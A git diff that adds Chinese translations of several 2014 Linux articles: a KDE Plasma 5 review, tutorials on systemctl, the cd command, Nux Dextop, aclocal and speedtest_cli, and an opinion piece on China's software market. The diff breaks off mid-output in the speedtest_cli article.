当前屏幕的左侧。 + +![ALT-TAB 窗口切换的默认外观。](http://cdn.arstechnica.net/wp-content/uploads/2014/08/screenshot07.png) + +ALT-TAB 窗口切换的默认外观。 + +共通性也许对于 KDE 的新特点是有利的,当需要帮助时所需资料会出现在屏幕的左侧,但这也许会对那些期待点其他东西的老用户感到失望。有些变化看上去不太合情理。 + +![窗口小部件。](http://cdn.arstechnica.net/wp-content/uploads/2014/08/screenshot08.png) +窗口小部件。 + +KDE 项目称在像窗口小部件和窗口切换器等菜单中,垂直菜单将取代水平菜单,“提供更好的使用体验”。但并未提及会具体如何。发行文档称挪动窗口切换器至屏幕一端“使用户的注意力更加集中于应用和文档,以完成手头上的工作”。可是当你启用了窗口切换器,嗯,准备切换窗口时,你的注意力更可能是在不同的任务间而不是集中在某一个任务上面。 + +![KDE 依旧偏向于提供不同选择。注意右侧的暗灰色选择条,那是拖动窗口时的阴影选项。](http://cdn.arstechnica.net/wp-content/uploads/2014/08/screenshot09.png) + +KDE 依旧偏向于提供不同选择。注意右侧的暗灰色选择条,那是拖动窗口时的阴影选项。 + +这就是 KDE,当然,不是 Unity;高度可定制化是其一大特色,而不是 bug。进入系统设置你可以调回旧版风格的窗口切换器,并且在 Plasma 5 中有 10 种不同的窗口切换器效果可供选择。如果默认风格并不是你最喜欢的,那么换一个吧。 + +### 告别 Nepomuk 语义桌面的时间,感谢长久以来支持着我们的粉丝 ### + +如果你是 KDE 重度用户,并且经历了 KDE 的顶峰和低谷,并仍抱有期待,那么你肯定已经知道了 Plasma 5 中的最大看点。没错,KDE 替换了 Nepomuk 语义桌面,取而代之的是称作 Baloo 的新搜索引擎。 + +Nepomuk 语义桌面最初是一个由欧盟赞助的搜索项目,高调宣称其目的是创建一个“使用网络环境提供个性化服务的,基于本地的知识库管理(Networked Environment for Personalized, Ontology-based Management of Unified Knowledge)”。当项目被引用到 KDE 上的时候,Nepomuk 成为了一个更加通用的桌面搜索工具,在辉煌与疯狂之间徘徊着。 + +![在 Plasma 5 中搜索文件。](http://cdn.arstechnica.net/wp-content/uploads/2014/08/screenshot10.png) + +在 Plasma 5 中搜索文件。 + +Baloo 沿用了 Nepomuk 的大部分功能,全文字文件搜索和一种不可思议的文件衔接功能,比如,知晓与一个特定文件相关的其他文件并[予之改进][4]。实际上这使用于 Plasma 5 中的搜索功能,并且你可以在搜索栏的右边注意到两点:更快的速度以及每次索引更新时你的风扇并未发疯般狂转。 + +Baloo 大幅减少了搜索记录的资源,并且,根据 KDE 上的测试,其准确度更高了。我们不能保证后一点,因为我们从未在旧版 KDE 中使用大量搜索(参见风扇运转注释),但在计算精度上,Plasma 5 中的简单文件搜索达到了你使用 Ubuntu、OS X 等其他文件搜索方式的平均速度。涉及更复杂的搜索关系或复杂元数据的成功将更大程度上取决于你使用默认 KDE 应用的频率。比方说,如果你想利用基于 Baloo 的搜索引擎的优势进行涉及文件间关联的搜索时,你需要使用 Kontact 套件。 + +尽管这肯能会随着时间而改变,因为与 Nepomuk 相比另一个比较大的变化是新的、改进的开发者 API。搜索 API 意味着第三方应用可以配合 Plasma 5 中的语义搜索基础,并发挥默认应用所使用的相同工具的优势。 + +奇怪的是,其他可见的和 Baloo 具有相同任务量的搜索工具,其可见度与发掘性已经落后一步了。点燃 Plasma 5 的开始菜单 ———— KDE 对窗口开始菜单的回应 ———— 并且无法找到搜索栏。如果你仔细寻找,你将会找到一个非常小的提醒样式的“点击以进行搜索”,这是初版以来的第一步改变(没有你可以进行搜索的指示)。然而,可以发现这并不是一个专门的搜索框。 + +### Kickoff 开始菜单与他的新表弟 Kicker ### + +KDE 提交的关于窗口开始菜单的答案一直是过度包装的、狭小空间内拥挤的视觉外观,但在 Breeze 主题中开始菜单开始变得清爽,并更具有视觉观赏性。 + +![默认主题下的开始菜单。](http://cdn.arstechnica.net/wp-content/uploads/2014/08/screenshot11.png) + +默认主题下的开始菜单。 + +如果这样对你的需求来说还是有点多,Plasma 5 提供了一个全新的、更加传统的菜单 ———— 称为 Kicker,基于原启动器。Kicker 所需完成的任务更少 ———— 它更接近于 XP 中的开始菜单,在需要提供扩展菜单的地方提供一种单一的、狭窄的面板 ———— 并且在你如果只是想启动应用或打开文件时,提供一种更加轻量级的选择。它也有一个非常显眼的搜索框。 + +![另一个选择 ———— 全新的 Kicker 菜单。](http://cdn.arstechnica.net/wp-content/uploads/2014/08/screenshot12.png) + +另一个选择 ———— 全新的 Kicker 菜单。 + +菜单的另一侧得到了更新,变得更加清爽。最显著的变化是通知中心,减少了弹出次数,并且通过更好、更迅速方式来显示通知。 + +### OpenGL、QtQuick 以及 HiDPI 显示 ### + +Plasma 5 完成了 KDE 至 Qt 5 和 QtQuick 的迁移,后者使用硬件加速的 OpenGL 场景图进行图形渲染。OpenGL 的大部分更新都和任何可用的 GPU 图形卸载有关。这意味着,如果你拥有被支持的硬件,Plasma 5 将利用现今强劲的 GPU 充分发挥显卡优势。 + +事实上,在最新的硬件上(例如我们测试所用的 MacBook 的 NVIDIA GeForce GT 显卡)Plasma 5 的反应速度很迅捷,远比其老版本要快。也许更令人印象深刻的是,即使把 Plasma 5 相比 KDE 4.x 在 GPU 上的优势去除,其反应速度仍然很快。也就是说,虽然在老旧硬件上运行仍然不是 KDE 的强项,但其表现与之前相比已有所改观。不过,如果你想在老旧硬件上得到更多支持,请务必使用 Xfce、LXDE 或者某些像 Openbox 那样简单的桌面环境吧。 + +有趣的是,弥补 Plasma 5 图形叠加的修改过后的框架也向 KDE 切换至 Wayland 显示服务协议提供了道路。尽管 KDE 并没有急着切换到 Wayland,但注意全面支持技术将在“某个未来版本”实现。 + +这一版本也声称改进了对 HDPI 显示的支持。然而,结合 GNOME 和 Unity 对 HDPI 的支持,实际经验是忧喜参半的。特别是字体渲染远不及 OS X 所提供的渲染平滑。对我来说,即使安装 了 Infinality 并进行调整,也从来没有出现令我满意的结果。我们仍然不确定问题是否是在安装过程中出现的,并且我们也未亲眼见到 HDPI 的新功能。或许,KDE 对于究竟是什么构成了 HDPI 支持有一个完全不同的定义。但愿问题是出在安装过程中。 + +### 有哪些缺陷 ### + +在本文的前半部分,我们曾提到由 KDE 4 向 Plasma 5 的转变将不会像从 KDE 3 向 KDE 4 的转变那样艰难。对大多数人来说,这是真的,但是,对于某些人来说,也许会出现例外。 + +KDE 项目称这一版本的焦点已经“集中在了弥补核心工作流的工具上”,并表明“并不是所有 Plasma 4 系列中的功能都可以使用了”。这给那些经历了 KDE 3 向 KDE 4 转变的人敲响了警钟。 + +在测试期间,我们并未遇到任何性能上的差距或者功能上的显著缺失,除了提到:Breeze 主题的不完善、某些图形故障,以及某些可疑的设计方面的问题。也就是说,请查阅[已知问题列表][5],特别是性能方面的警示。 + +同时我们在此建议在你完全迁移至 Plasma 5 之前请提前测试,以确保你所必需的都已具备。 + +### 结论 ### + +KDE Plasma 5 版本缺乏使 Unity 和 GNOME 一跃成名的那种吸引人的代表性变化。与之相反,KDE 项目致力于改善其核心桌面体验。从任何意义上讲 Plasma 5 都不是完美的,但与 Unity 和 GNOME 不同,你可以随意改变那些你所不喜欢的地方。 + +这一版本最激动人心的地方在于 KDE 已经在完全没有弄乱现有桌面的情况下,为交互界面做出了大量铺垫。另一个好消息是速度方面的改善。如果你此前曾经尝试过 KDE 并觉得它过于“庞大”,那么你应该重新审视以下 Plasma 5 了。 + +-------------------------------------------------------------------------------- + +via: http://arstechnica.com/information-technology/2014/08/kde-plasma-5-for-those-linux-users-undecided-on-the-kernels-future/ + +作者:Scott Gilbertson +译者:[SteveArcher](https://github.com/SteveArcher) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://arstechnica.com/gadgets/2014/08/op-ed-tables-really-are-pcsbecause-theres-no-point-in-buying-new-ones/ +[2]:http://www.kde.org/announcements/plasma5.0/ +[3]:http://files.kde.org/snapshots/neon5-latest.iso.mirrorlist +[4]:https://dot.kde.org/2014/02/24/kdes-next-generation-semantic-search +[5]:https://community.kde.org/Plasma/5.0_Errata \ No newline at end of file diff --git a/published/201409/20140819 Linux Systemd--Start or Stop or Restart Services in RHEL or CentOS 7.md b/published/201409/20140819 Linux Systemd--Start or Stop or Restart Services in RHEL or CentOS 7.md new file mode 100644 index 0000000000..b02e3080b7 --- /dev/null +++ b/published/201409/20140819 Linux Systemd--Start or Stop or Restart Services in RHEL or CentOS 7.md @@ -0,0 +1,69 @@ +Linux Systemd —— 在RHEL/CentOS 7中启动/停止/重启服务 +================================================================================ + +RHEL/CentOS 7.0中一个最主要的改变,就是切换到了**systemd**。它用于替代红帽企业版Linux前任版本中的SysV和Upstart,对系统和服务进行管理。systemd兼容SysV和Linux标准组的启动脚本。 + +**Systemd**是一个Linux操作系统下的系统和服务管理器。它被设计成向后兼容SysV启动脚本,并提供了大量的特性,如开机时平行启动系统服务,按需启动守护进程,支持系统状态快照,或者基于依赖的服务控制逻辑。 + +先前的使用SysV初始化或Upstart的红帽企业版Linux版本中,使用位于/etc/rc.d/init.d/目录中的bash初始化脚本进行管理。而在RHEL 7/CentOS 7中,这些启动脚本被服务单元取代了。服务单元以.service文件扩展结束,提供了与初始化脚本同样的用途。要查看、启动、停止、重启、启用或者禁用系统服务,你要使用systemctl来代替旧的service命令。 + +> 注:为了向后兼容,旧的service命令在CentOS 7中仍然可用,它会重定向所有命令到新的systemctl工具。 + +### 使用systemctl来启动/停止/重启服务 ### + +要启动一个服务,你需要使用如下命令: + + # systemctl start httpd.service + +这会启动httpd服务,就我们而言,Apache HTTP服务器。 + +要停掉它,需要以root身份使用该命令: + + # systemctl stop httpd.service + +要重启,你可以使用restart选项,如果服务在运行中,它将重启服务;如果服务不在运行中,它将会启动。你也可以使用try-start选项,它只会在服务已经在运行中的时候重启服务。同时,reload选项你也可以有,它会重新加载配置文件。 + + # systemctl restart httpd.service + # systemctl try-restart httpd.service + # systemctl reload httpd.service + +我们例子中的命令看起来会像下面这样: + +![systemctl start-stop-restart](http://linoxide.com/wp-content/uploads/2014/08/systemctl-start-stop-restart.gif) + +### 检查服务状态 ### + +要检查服务状态,你可以使用status选项,看这里: + + # systemctl status httpd.service + +输出结果就像这样: + +![systemctl status](http://linoxide.com/wp-content/uploads/2014/08/systemctl-status.gif) + +它会告诉你运行中的服务的方方面面。 + +### 使用启用/禁用服务来控制开机启动 ### + +你也可以使用enable/disable选项来控制一个服务是否开机启动,命令如下: + + # systemctl enable httpd.service + # systemctl disable httpd.service + +输出结果看这里: + +![systemctl-enable](http://linoxide.com/wp-content/uploads/2014/08/systemctl-enable.gif) + +虽然在过去的几年中,对systemd的采用饱受争议,然而大多数主流发行版都已经逐渐采用或打算在下一个发行版中采用它。所以,它是一个有用的工具,我们需要好好熟悉它。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/start-stop-services-systemd/ + +作者:[Adrian Dinu][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/adriand/ diff --git a/published/201409/20140822 15 Practical Examples of 'cd' Command in Linux.md b/published/201409/20140822 15 Practical Examples of 'cd' Command in Linux.md new file mode 100644 index 0000000000..f48815397b --- /dev/null +++ b/published/201409/20140822 15 Practical Examples of 'cd' Command in Linux.md @@ -0,0 +1,155 @@ +15个关于Linux的‘cd’命令的练习例子 +=========================== + +在Linux中,**‘cd‘(改变目录)**命令,是对新手和系统管理员来说,最重要最常用的命令。对管理无图形界面的服务器的管理员,‘**cd**‘是进入目录,检查日志,执行程序/应用软件/脚本和其余每个任务的唯一方法。对新手来说,是他们必须自己动手学习的最初始命令 + +![15 cd command examples in linux](http://www.tecmint.com/wp-content/uploads/2014/08/cd-command-in-linux.png) + +*Linux中15个cd命令举例* + +所以,请用心学习,我们在这会带给你**15**个基础的‘**cd**‘命令,它们富有技巧和捷径,学会使用这些了解到的技巧,会大大减少你在终端上花费的努力和时间 + +### 课程细节 ### + +- 命令名称:cd +- 代表:切换目录 +- 使用平台:所有Linux发行版本 +- 执行方式:命令行 +- 权限:访问自己的目录或者其余指定目录 +- 级别:基础/初学者 + +1. 从当前目录切换到/usr/local + + avi@tecmint:~$ cd /usr/local + avi@tecmint:/usr/local$ + +2. 使用绝对路径,从当前目录切换到/usr/local/lib + + avi@tecmint:/usr/local$ cd /usr/local/lib + avi@tecmint:/usr/local/lib$ + +3. 使用相对路径,从当前路径切换到/usr/local/lib + + avi@tecmint:/usr/local$ cd lib + avi@tecmint:/usr/local/lib$ + +4. **(a)**切换当前目录到上级目录 + + avi@tecmint:/usr/local/lib$ cd - + /usr/local + avi@tecmint:/usr/local$ + + **(b)**切换当前目录到上级目录 + + avi@tecmint:/usr/local/lib$ cd .. + avi@tecmint:/usr/local$ + +5. 显示我们最后一个离开的工作目录(使用‘-’选项) + + avi@tecmint:/usr/local$ cd -- + /home/avi + +6. 从当前目录向上级返回两层 + + avi@tecmint:/usr/local$ cd ../../ + avi@tecmint:/$ + +7. 从任何目录返回到用户home目录 + + avi@tecmint:/usr/local$ cd ~ + avi@tecmint:~$ + + 或 + + avi@tecmint:/usr/local$ cd + avi@tecmint:~$ + +8. 切换工作目录到当前工作目录(LCTT:这有什么意义嘛?!) + + avi@tecmint:~/Downloads$ cd . + avi@tecmint:~/Downloads$ + + 或 + + avi@tecmint:~/Downloads$ cd ./ + avi@tecmint:~/Downloads$ + +9. 你当前目录是“/usr/local/lib/python3.4/dist-packages”,现在要切换到“/home/avi/Desktop/”,要求:一行命令,通过向上一直切换直到‘/’,然后使用绝对路径 + + avi@tecmint:/usr/local/lib/python3.4/dist-packages$ cd ../../../../../home/avi/Desktop/ + avi@tecmint:~/Desktop$ + +10. 从当前工作目录切换到/var/www/html,要求:不要将命令打完整,使用TAB + + avi@tecmint:/var/www$ cd /v/w/h + avi@tecmint:/var/www/html$ + +11. 从当前目录切换到/etc/v__ _,啊呀,你竟然忘了目录的名字,但是你又不想用TAB + + avi@tecmint:~$ cd /etc/v* + avi@tecmint:/etc/vbox$ + + **请注意:**如果只有一个目录以‘**v**‘开头,这将会移动到‘**vbox**‘。如果有很多目录以‘**v**‘开头,而且命令行中没有提供更多的标准,这将会移动到第一个以‘**v**‘开头的目录(按照他们在标准字典里字母存在的顺序) + +12. 你想切换到用户‘**av**‘(不确定是avi还是avt)目录,不用**TAB** + + avi@tecmint:/etc$ cd /home/av? + avi@tecmint:~$ + +13. Linux下的pushed和poped + + Pushed和poped是Linux bash命令,也是其他几个能够保存当前工作目录位置至内存,并且从内存读取目录作为当前目录的脚本,这些脚本也可以切换目录 + + avi@tecmint:~$ pushd /var/www/html + /var/www/html ~ + avi@tecmint:/var/www/html$ + + 上面的命令保存当前目录到内存,然后切换到要求的目录。一旦poped被执行,它会从内存取出保存的目录位置,作为当前目录 + + avi@tecmint:/var/www/html$ popd + ~ + avi@tecmint:~$ + +14. 切换到名字带有空格的目录 + + avi@tecmint:~$ cd test\ tecmint/ + avi@tecmint:~/test tecmint$ + + 或 + + avi@tecmint:~$ cd 'test tecmint' + avi@tecmint:~/test tecmint$ + + 或 + + avi@tecmint:~$ cd "test tecmint"/ + avi@tecmint:~/test tecmint$ + +15. 从当前目录切换到下载目录,然后列出它所包含的内容(使用一行命令) + + avi@tecmint:/usr$ cd ~/Downloads && ls + ... + . + service_locator_in.xls + sources.list + teamviewer_linux_x64.deb + tor-browser-linux64-3.6.3_en-US.tar.xz + . + ... + +我们尝试使用最少的词句和一如既往的友好,来让你了解Linux的工作和执行 + +这就是所有内容。我很快会带着另一个有趣的主题回来的。 + +--- + +via: http://www.tecmint.com/cd-command-in-linux/ + +作者:[Avishek Kumar][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ + diff --git a/published/201409/20140825 China Will Change The Way All Software Is Bought And Sold.md b/published/201409/20140825 China Will Change The Way All Software Is Bought And Sold.md new file mode 100644 index 0000000000..dfb76eaa6d --- /dev/null +++ b/published/201409/20140825 China Will Change The Way All Software Is Bought And Sold.md @@ -0,0 +1,67 @@ +中国将要改变软件购买和销售的方式 +================================================================================ +![](http://a5.files.readwrite.com/image/upload/c_fill,h_900,q_70,w_1600/MTE5NDg0MDYyMzQ4MzE0MTI3.jpg) + +> 这一切都是关于“开源”. + +**中国并不需要你,也不需要你的软件。具体说来,中国市场并不需要你的工程师日以继夜的工作,也不需要你提供的任何东西。 + +中国每年会产生超过100000名新软件工程师。这些工程师会写出一大批令人惊叹的奇妙软件。如果有中国市场上尚未出现的软件,中国的工程师们就会从国外“借鉴”。在2012年,这样的软件掠夺达到了77%之多。对于那些已经面对着开源和云服务的挑战的西方软件卖家来说,中国无疑让他们的日子更苦难了。 + +不止是更困难,简直是举步维艰。 + +中国正在挑战西方公司在中国及其他地区的赚钱模式。对于那些已经明白如何在中国运营的公司来说,他们的未来看起来一片光明。 + +### 抵制中国模式 ### + +当然,并非每家公司都会坐以待毙。以微软为例,微软已经通过[行使美国的国家司法权力来禁止中国公司做生意][1]——除非他们向微软购买许可证。这是一种很聪明的做法,而且它可能会为微软创造数十亿美元的价值,但是最终这一做法看起来与中国市场格格不入。 + +原因很简单,中国与微软对待知识产权的态度十分不同。 + +正如 [我所提到的][2],“与同在亚洲的印度十分相似,中国的企业更倾向于购买复杂的、面向企业的软件。因为这种软件比服务大众的公司开发出来的更为先进。”但这种形势不会持续太久,因为中国的软件产业正在以一种惊人的速度前进,并毫无颓势。中国将会坚持向西方国家“借鉴”代码,直到有一天有足够的能力可以创造出创新性的软件。 + +但即使到那时候,中国的软件公司与美国软件的运营模式还是有所不同,美国的软件大多都已经捆绑在设备、架构在云端或者公司只靠提供软件支持而盈利。而这些运营模式都是无法克隆的。 + +不出所料,接下来的问题将是,这些公司将如何通过“开源”来盈利。 + +### 开源化中国 ### + +正如CCID的分析师在 [J. Aaron Farr 的关于中国开源化报告][3] 中指出的,中国的开源社区规模很小而且没什么影响力。开源社区中缺少大项目、参与者稀少而且资金匮乏。 + +这真是个坏消息。 + +而好消息是,华为等公司将开源视为一种战略前景。具体而言,当[华为的开源项目网页][4]过时或疲软之时,就间接显示出了技术大步伐的前进方向。在与参与了开源项目的华为公司内部顾问的谈话中,虽然华为对如何参与到开源社区还处于摸索阶段,但他们总是对华为的开源项目赞不绝口。 + +这看起来并不容易坚持长久。 + +从一件事就可以看出端倪。中国最大的互联网公司们都纷纷以积极地姿态拥抱开源,这意味着中国开源时代的到来。你若是和任意一位在百度、阿里巴巴、微博的员工谈话,你会发现他们的软件项目都是彻底开源的。这些开源的软件都是运行在这些公司自己研发的硬件上而不是西方的硬件上。 + +换句话说,这样的模式已经和美国及西欧的运营模式如出一辙了。 + +抬头看看 [现金软件行业内最炙手可热的新公司][5], 你就会知道中国的互联网公司未来的主流趋势,正如发生在西方世界的一样。不出意料的,许多都是关于“开源”。 + +### 销售给中国 ### + +所有的一切都表明中国的软件行业不会像美国的软件行业发展历史一般发展。中国不会产生在柜台上卖卖软件就赚上亿美元的公司。因为西方对于知识产权的观念无法简单适用于中国的科技经济。 + +所以,商家们需要售卖比软件更丰富的产品。云服务是一大前景。硬件设施看起来也是前途璀璨。软件支持和咨询服务(虽然有一些非主流)也很被公司门看好。总而言之,中国的软件行业将会充满开源味道,而不能靠着简单的售卖专柜软件的形式赚钱。 + +图片由 [hackNY.org][6] 提供。 + +-------------------------------------------------------------------------------- + +原文: http://readwrite.com/2014/08/12/china-opensource-software-ip-programmers-united-states + +作者:[Matt Asay][a] +译者:[chi1shi2](https://github.com/chi1shi2) +校对:[reinoir](https://github.com/reinoir) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://readwrite.com/author/matt-asay +[1]:http://readwrite.com/2014/03/17/microsoft-anti-piracy-strategy-china +[2]:http://readwrite.com/2014/04/11/india-starts-paying-for-software-china-it +[3]:http://cdn.oreillystatic.com/en/assets/1/event/12/Open%20Source%20in%20China%20Presentation%201.pdf +[4]:http://huawei.com/en/about-huawei/Partner/openathuawei/index.htm +[5]:http://codingvc.com/which-technologies-do-startups-use-an-exploration-of-angellist-data +[6]:https://www.flickr.com/photos/hackny/8675057448/ \ No newline at end of file diff --git a/published/201409/20140825 Linux FAQs with Answers--How to enable Nux Dextop repository on CentOS or RHEL.md b/published/201409/20140825 Linux FAQs with Answers--How to enable Nux Dextop repository on CentOS or RHEL.md new file mode 100644 index 0000000000..5b8dc539ea --- /dev/null +++ b/published/201409/20140825 Linux FAQs with Answers--How to enable Nux Dextop repository on CentOS or RHEL.md @@ -0,0 +1,49 @@ +Linux有问必答:如何在CentOS或者RHEL上启用Nux Dextop仓库 +================================================================================ +> **问题**: 我想要安装一个在Nux Dextop仓库的RPM包。我该如何在CentOS或者RHEL上设置Nux Dextop仓库? + +[Nux Dextop][1]是一个面对CentOS、RHEL、ScientificLinux的含有许多流行的桌面和多媒体相关的包的第三方RPM仓库(比如:Ardour,Shutter等等)。目前,Nux Dextop桌面对CentOS和RHEL 6/7可用。 + +要在CentOS或者RHEL上启用Nux Dextop,遵循下面的步骤。 + +首先,要知道Nux Dextop被设计与EPEL仓库共存。因此,你需要在使用Nux Dexyop仓库前先[启用 EPEL][2]。 + +启用EPEL后,用下面的命令安装Nux Dextop仓库。 + +在 CentOS/RHEL 6.* 上: + + $ sudo rpm -Uvh http://li.nux.ro/download/nux/dextop/el6/x86_64/nux-dextop-release-0-2.el6.nux.noarch.rpm + +在 CentOS/RHEL 7 上 : + + $ sudo rpm -Uvh http://li.nux.ro/download/nux/dextop/el7/x86_64/nux-dextop-release-0-1.el7.nux.noarch.rpm + +现在验证Nux Dextop仓库是否已经成功安装: + + $ yum repolist + +![](https://farm6.staticflickr.com/5574/14790031847_90b4a829d7_z.jpg) + +### 对于 Repoforge/RPMforge 用户 ### + +据作者所说,目前已知Nux Dextop会与其他第三方库比如Repoforge和ATrpms相冲突。因此,如果你启用了除了EPEL的其他第三方库,强烈建议你将Nux Dextop仓库设置成“default off”(默认关闭)状态。就是用文本编辑器打开/etc/yum.repos.d/nux-dextop.repo,并且在nux-desktop下面将"enabled=1" 改成 "enabled=0"。 + + $ sudo vi /etc/yum.repos.d/nux-dextop.repo + +![](https://farm6.staticflickr.com/5560/14789955930_f8711b3581_z.jpg) + +无论何时当你从Nux Dextop仓库安装包时,显式地用下面的命令启用仓库。 + + $ sudo yum --enablerepo=nux-dextop install + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/enable-nux-dextop-repository-centos-rhel.html + +译者:[geekpi](https://github.com/geekpi) +校对:[ wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://li.nux.ro/download/nux/dextop/ +[2]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html \ No newline at end of file diff --git a/published/201409/20140825 Linux FAQs with Answers--How to fix 'failed to run aclocal--No such file or directory'.md b/published/201409/20140825 Linux FAQs with Answers--How to fix 'failed to run aclocal--No such file or directory'.md new file mode 100644 index 0000000000..63ce6a4862 --- /dev/null +++ b/published/201409/20140825 Linux FAQs with Answers--How to fix 'failed to run aclocal--No such file or directory'.md @@ -0,0 +1,50 @@ +Linux有问必答:如何修复“运行aclocal失败:没有该文件或目录” +================================================================================ +> **问题**:我试着在Linux上构建一个程序,该程序的开发版本是使用“autogen.sh”脚本进行的。当我运行它来创建配置脚本时,却发生了下面的错误: +> +> Can't exec "aclocal": No such file or directory at /usr/share/autoconf/Autom4te/FileUtils.pm line 326. +> autoreconf: failed to run aclocal: No such file or directory +> +> 我怎样才能修复这个程序? + +开发版本常常是通过autogen.sh使用程序源代码生成的,构建过程包括验证程序功能和生成配置脚本。autogen.sh脚本依赖于autoreconf来调用autoconf,automake,aclocal和其它相关工具。 + +丢失的aclocal是automake包的一部分,因此,要修复该错误,请安装以下包。 + +在Debian,Ubuntu或Linux Mint上: + + $ sudo apt-get install automake + +在CentOS,Fedora或RHEL上: + + $ sudo yum install automake + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/fix-failed-to-run-aclocal.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]: +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: +[13]: +[14]: +[15]: +[16]: +[17]: +[18]: +[19]: +[20]: diff --git a/published/201409/20140825 Linux Terminal--speedtest_cli checks your real bandwidth speed.md b/published/201409/20140825 Linux Terminal--speedtest_cli checks your real bandwidth speed.md new file mode 100644 index 0000000000..0b180074cc --- /dev/null +++ b/published/201409/20140825 Linux Terminal--speedtest_cli checks your real bandwidth speed.md @@ -0,0 +1,153 @@ +Linux终端:speedtest_cli检测你的实时带宽速度 +=== + +![](http://www.speedtest.net/result/3700218352.png) + +你在家(或者办公室)的上传和下载速度如何?你能保证,你支付费用给ISP的同时得到了等价的回报? + +要想测试我们因特网连接的速度,当下存在着一些因特网服务,比如说SpeedTest,这是一种可以通过Web浏览器和手机应用程序浏览的web服务。 + +现在,你可以很容易地检测你的网速,使用speedtest_cli同样很简单,它是一个使用[speedtest.net][2]来测试因特网[带宽][1]的命令行界面。通过这种方式,你也可以在没有浏览器或者图形化界面的服务器上做带宽测试。 + +### 安装 ### + +speedtest_cli是一个python脚本,所以它真的很容易安装和使用,你可以通过许多方式安装它: + +#### 1)pip / easy_install #### + +打开一个终端,输入下面的命令: + + pip install speedtest_cli + +或者 + + easy_install speedtest_cli + +#### 2)Github #### + +想要直接从github安装,你得这么做: + + pip install git+https://github.com/sivel/speedtest-cli.git + +或者 + + git clone https://github.com/sivel/speedtest-cli.git + python speedtest-cli/setup.py install + +#### 3)作为Ubuntu/Debian或者Mint包 #### + +getdeb仓库给我们提供了[安装包][3],按照下面的步骤,就可以轻松安装: + +- 安装[getdeb包][4] + +或者 + +- 手动配置仓库: + +进入系统管理软件源,第三方软件选项,加上: + + deb http://archive.getdeb.net/ubuntu trusty-getdeb apps + +增加仓库GPG钥匙,打开终端窗口,然后输入: + + wget -q -O- http://archive.getdeb.net/getdeb-archive.key | sudo apt-key add - + +现在,你就可以使用下面的命令安装speedtest_cli包了: + + sudo apt-get update + sudo apt-get install python-speedtest-cli + +#### 4)下载(和以前的方式一样) #### + +最后一个选择,只需要下载python脚本,然后在你想运行的地方运行脚本: + + wget -O speedtest-cli https://raw.github.com/sivel/speedtest-cli/master/speedtest_cli.py + chmod +x speedtest-cli + +或者 + + curl -o speedtest-cli https://raw.github.com/sivel/speedtest-cli/master/speedtest_cli.py + chmod +x speedtest-cli + +### 基本用法 ### + +你可以不带任何选项地运行speedtest_cli.py,然后你会在终端获得关于你带宽速度的报告,这就是我那糟糕的意大利Adsl输出: + + $ ./speedtest_cli.py + Retrieving speedtest.net configuration... + Retrieving speedtest.net server list... + Testing from Telecom Italia (87.13.73.66)... + Selecting best server based on latency... + Hosted by LepidaSpA (Bologna) [12.20 km]: 104.347 ms + Testing download speed........................................ + Download: 6.35 Mbits/s + Testing upload speed............................................... + Upload: 0.34 Mbits/s + +这就是基本用法,这足以让你知道你因特网连接的好坏,但是可能你想要和朋友分享这条信息,那么,只需要-share选项就可以 + + ./speedtest_cli.py --share + Retrieving speedtest.net configuration... + Retrieving speedtest.net server list... + Testing from Telecom Italia (87.13.73.66)... + Selecting best server based on latency... + Hosted by LepidaSpA (Bologna) [12.20 km]: 93.778 ms + Testing download speed........................................ + Download: 6.20 Mbits/s + Testing upload speed............................................... + Upload: 0.33 Mbits/s + Share results: http://www.speedtest.net/result/3700218352.png + +这将会产生一个类似于下面的图像(但是我希望你图像里面的值更好): + + ![](http://www.speedtest.net/result/3700218352.png) + +另一个有趣的选项是-list,它会按照距离列出所有speedtest.net服务器,下面是我运行的结果: + + Retrieving speedtest.net configuration... + Retrieving speedtest.net server list... + 2872) LepidaSpA (Bologna, Italy) [12.20 km] + 1561) MYNETWAY S.R.L. (Cesena, Italy) [80.97 km] + 2710) ReteIVO by D.t.s. Srl (Florence, Italy) [90.90 km] + 4826) Inteplanet Srl (Verona, Italy) [100.45 km] + 3998) Wolnext srl (Verona, Italy) [100.45 km] + 2957) Wifiweb s.r.l. (Altavilla Vicentina, Italy) [103.11 km] + 3103) E4A s.r.l. (Vicenza, Italy) [107.17 km] + 3804) Interplanet Srl (Vicenza, Italy) [107.17 km] + 1014) NTRnet (Vicenza, Italy) [107.17 km] + 3679) Hynet s r l (Vicenza, Italy) [107.17 km] + 3745) Comeser Srl (Fidenza, Italy) [114.00 km] + 5011) Welcomeitalia spa (Massarosa, Italy) [119.26 km] + 2864) ReteIVO by D.t.s. Srl (Massa, Italy) [120.92 km] + 2918) ReteIVO by D.t.s. Srl (Arezzo, Italy) [129.79 km] + ... + +既然我知道了围绕在我周围的服务器的ID,我可以使用-server选项选择一个特定的服务器,所以,要想选择位于佛罗伦萨(ID 2710)的服务器,我使用下面的命令: + + ./speedtest_cli.py --server 2710 + Retrieving speedtest.net configuration... + Retrieving speedtest.net server list... + Testing from Telecom Italia (87.13.73.66)... + Hosted by ReteIVO by D.t.s. Srl (Florence) [90.90 km]: 106.505 ms + Testing download speed........................................ + Download: 